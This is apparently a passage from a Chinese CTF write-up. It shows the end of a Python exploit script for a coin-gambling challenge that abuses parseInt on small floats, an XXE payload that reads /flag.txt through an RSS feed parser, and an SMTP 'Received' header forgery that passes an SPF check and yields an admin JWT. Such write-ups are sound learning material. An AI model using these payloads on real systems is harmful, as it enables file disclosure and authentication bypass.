(f"余额不足 (${current_usd:.6 f} < $10),重新开始..." ) except KeyboardInterrupt: raise except Exception as e: print (f"会话过程中出错: {e} " ) import traceback traceback.print_exc() finally : time.sleep(1 ) def main (): print ("=" * 60 ) print ("硬币赌博机漏洞利用脚本" ) print ("漏洞:parseInt(9.999999e-6) = 9" ) print ("=" * 60 ) try : flag = exploit() if flag: print (f"\n攻击完成!总共获取到flag: {flag} " ) else : print ("未能获取flag" ) except KeyboardInterrupt: print ("\n用户中断" ) except Exception as e: print (f"发生错误: {e} " ) import traceback traceback.print_exc() if __name__ == "__main__" : main()
Le Canard du Lac RSS 订阅处可以解析标准 RSS 格式的 XML,直接打 XXE:
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]> <rss version="2.0"> <channel> <title>Test Feed</title> <description>&xxe;</description> </channel> </rss>
MagicAuth 这题打不通,云一下思路。
python:
Go:
具有解析差异:python解析空格而GO不会。
1 Received : 1.3.3.7 #发信 IP 伪造
mta:接收邮件并转发校验
smtp2http:SPF校验来源IP并交给web处理
web:JWT生成和校验
首先向MTA发送包含注入字段 Received : 1.3.3.7 的SMTP邮件,邮件经 MTA 转发至 smtp2http 服务。smtp2http 读取到伪造的IP地址1.3.3.7,使SPF校验通过,随后自动从环境变量中填入正确TOKEN,并构造HTTP请求发送给Web后端。Web后端验证Token正确且SPF为Pass后,认证成功,向攻击者下发Admin JWT。
然后得到 JWT 之后验证之后访问 /flag 拿到flag。